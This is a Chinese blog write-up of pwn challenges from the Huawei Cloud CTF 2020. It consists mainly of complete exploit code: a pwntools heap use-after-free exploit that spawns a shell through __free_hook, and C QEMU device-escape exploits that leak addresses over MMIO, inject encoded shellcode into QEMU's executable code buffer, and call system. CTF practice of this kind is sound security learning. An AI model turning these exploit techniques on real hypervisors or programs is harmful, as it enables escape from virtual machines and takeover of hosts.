华为云ctf2020

最近研究angr在pwn题中的应用,发现到了2020年华为云ctf中就有这种类型的题,后来发现这场比赛中其它题目的出题点也很有意思,感觉也有必要复现一下。

参考:https://www.wolai.com/ctfhub/2ndDeVF7APBfhEndoMJccFhttps://github.com/huaweictf/xctf_huaweicloud-qualifier-2020

CPP

C++的堆题,没用STL这些东西(出题人太良心了),白给的uaf,可以直接泄漏地址、修改堆内存

剩下的就没什么可说的了,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
elf = ELF('chall')
libc = elf.libc
p = process('./chall')
context.log_level = 'debug'

def add(idx, content):
p.sendlineafter(b'>', b'0')
p.sendafter(b'>', content)
p.sendlineafter(b'>', str(idx).encode())

def delete(idx, content):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', str(idx).encode())
p.sendafter(b'>', content)

add(0, b'\n')
add(1, b'\n')
delete(0, b'\n')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
leak = u64(p.recvuntil(b'\n', drop= True)[-6:].ljust(8, b'\x00'))
heap_addr = leak
print(hex(heap_addr))
p.sendafter(b'>', p64(heap_addr - 0x11c10)[:7])

add(0, b'\n')
add(1, b'\n')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
leak = u64(p.recvuntil(b'\n', drop= True)[-6:].ljust(8, b'\x00'))
libc.address = leak - 96 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc.address))
p.sendafter(b'>', p64(leak)[:7])

add(1, b'\n')
delete(0, b'\n')
delete(1, p64(libc.sym['__free_hook'])[:7])
add(0, b'/bin/sh')
add(1, p64(libc.sym['system'])[:7])
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'0')
p.interactive()

game

直接参考上一篇博客:https://xtxtn.github.io/2023/09/20/auto-pwn/#game-pwn

qemuzzz

可以单字节溢出

v3变量是设备结构体的基地址,v7是cpu_physical_memory_rw函数的地址;溢出后正好可以修改v3,将v3变量改大一点,这样以后使用cpu_physical_memory_rw函数读写数据时就可以越界读取信息,这样就可以泄漏堆地址和cpu_physical_memory_rw函数地址,最后修改相应的地址即可。

注意:使用cpu_physical_memory_rw函数前都是以v3作为基地址,再去通过其偏移找到读写信息,修改v3后先前读写信息就作废了。

完整exp(Ubuntu20):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void * mmio;

uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


void mmio_write(uint64_t addr, uint64_t val){
*(uint64_t*)(mmio + addr) = val;
}

uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)(mmio + addr);
}

void exec_cpu_physical_memory_rw(uint64_t addr, uint16_t offset, uint16_t size){
mmio_write(0x20, addr);
mmio_write(0x10, offset);
mmio_write(0x18, size);
mmio_write(0x60, 0);
}

void xor_0x209(uint16_t offset, uint16_t size){
mmio_write(0x10, offset);
mmio_write(0x18, size);
mmio_write(0x50, 0);
}

int main(){
void *buf;
uint64_t ptr_buf;
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

while(1){
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(buf, 0, 0x40);
ptr_buf = gva_to_gpa(buf);
if(ptr_buf != 0 && (ptr_buf & 0xfff) == 0){
printf("[*] the_ptr_buf_addr_is %#lx\n", ptr_buf);
break;
}
}

*(uint64_t*)(buf) = ptr_buf;
*(uint16_t*)(buf + 0x8) = 0xf31;
*(uint16_t*)(buf + 0xa) = 0x50;
exec_cpu_physical_memory_rw(ptr_buf >> 12, 0x80, 0x10);
memset(buf, 0xf0, 0x10);
exec_cpu_physical_memory_rw(ptr_buf >> 12, 0xfff, 2);

mmio_write(0x60, 0);
uint64_t heap_addr = *(uint64_t*)(buf + 0xf20);
uint64_t cpu_physical_memory_rw_addr = *(uint64_t*)(buf + 0xf28);
uint64_t elf_base = cpu_physical_memory_rw_addr - 0x5bc5c0;
uint64_t system_plt = elf_base + 0x2A7A80;
printf("[*] leak_heap_addr_is %#lx\n", heap_addr);
printf("[*] leak_cpu_physical_memory_rw_addr_is %#lx\n", cpu_physical_memory_rw_addr);

xor_0x209(0x88, 0x118);

char cmd[0x40] = "gnome-calculator";
uint64_t cmd_addr = heap_addr + 0x1510;
memcpy(buf + 7 + 0x8c0, cmd, 0x40);

*(uint64_t*)(buf + 0x7 + 0xd00) = cmd_addr;
*(uint64_t*)(buf + 0x7 + 0xd10) = heap_addr + 0xf70;
*(uint64_t*)(buf + 0x7 + 0xd18) = system_plt;
mmio_write(0x60, 0);
mmio_write(0x60, 0);

}

fastexec

fastexec_mmio_write函数对offset和size都没限制,可以实现任意写

无法泄漏有效信息,且仅有一次任意地址写,完全不知道下一步怎样进行下去。看完官方的wp后,才知道Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区(TCG段的偏移每次都不同),这块内存是RWX的,修改里面的内容为shellcode即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void * mmio;

uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
//printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


void mmio_write(uint64_t addr, uint64_t val){
*(uint64_t*)(mmio + addr) = val;
}

uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)(mmio + addr);
}

void do_write(size_t offset, size_t size, size_t addr){
mmio_write(8, offset);
mmio_write(0x10, size);
mmio_write(0x18, addr);
mmio_write(0x20, 0xF62D);
}

//char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x11\x00\x00\x00\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
char shellcode[] = {72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93};

int main(){
void *buf;
uint64_t ptr_addr;
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

system("sysctl vm.nr_hugepages=30");
while (1)
{
buf = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);
memset(buf, '\x90', 0x1000);
ptr_addr = gva_to_gpa(buf);
if(ptr_addr != 0 && (ptr_addr & 0xfffff) == 0){
break;
}
}

for(int i = 1; i < 0x100; ++i){
memset(buf + i * 0x1000, '\x90', 0x1000);
}

for(int i = 0; i < 0x100; ++i){
memcpy(buf + 0x400 + i * 0x1000, shellcode, sizeof(shellcode));
}

do_write(0xffffffffba5185f0, 0x100000, ptr_addr);
}

最后弹出计算器:

后来发现还有其它方法,去修改MemoryRegion中的opaque,但是也要爆破一字节,具体参考:https://mp.weixin.qq.com/s/fkiFV7u3QjDsfHDcdwl6iA

最后修改MemoryRegion结构体如下:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void * mmio;

uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
//printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


void mmio_write(uint64_t addr, uint64_t val){
*(uint64_t*)(mmio + addr) = val;
}

uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)(mmio + addr);
}

void do_write(size_t offset, size_t size, size_t addr){
mmio_write(8, offset);
mmio_write(0x10, size);
mmio_write(0x18, addr);
mmio_write(0x20, 0xF62D);
}

int main(){
void *buf;
uint64_t ptr_addr;
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(uint16_t*)buf = 0xf010 - 0xb8;

ptr_addr = gva_to_gpa(buf);
do_write(0xffffffffffffff40, 2, ptr_addr);

uint64_t heap_addr = mmio_read(8);
uint64_t leak_elf_addr = mmio_read(0x10);
uint64_t elf_base = leak_elf_addr - 0xd62d20;
uint64_t system_plt = elf_base + 0x2C2180;
printf("[*] leak_heap_addr_is %#lx\n", heap_addr);
printf(" [*] leak_elf_base_addr_is %#lx\n", elf_base);

char cmd[0x20] = "gnome-calculator";
mmio_write(0x18, heap_addr + 0x20);
*(uint64_t*)buf = heap_addr + 0x8f0 + 0x58;
*(uint64_t*)(buf + 8) = heap_addr + 0x8f0 + 0x60;
*(uint64_t*)(buf + 0x10) = system_plt;
memcpy(buf + 0x18, cmd, sizeof(cmd));

do_write(0xffffffffffffff18, 0x30, ptr_addr);
mmio_read(0);

}

miniobs


华为云ctf2020
https://xtxtn.github.io/2023/09/25/hwctf2020/
作者
xtxtn
发布于
2023年9月25日
更新于
2023年10月11日
许可协议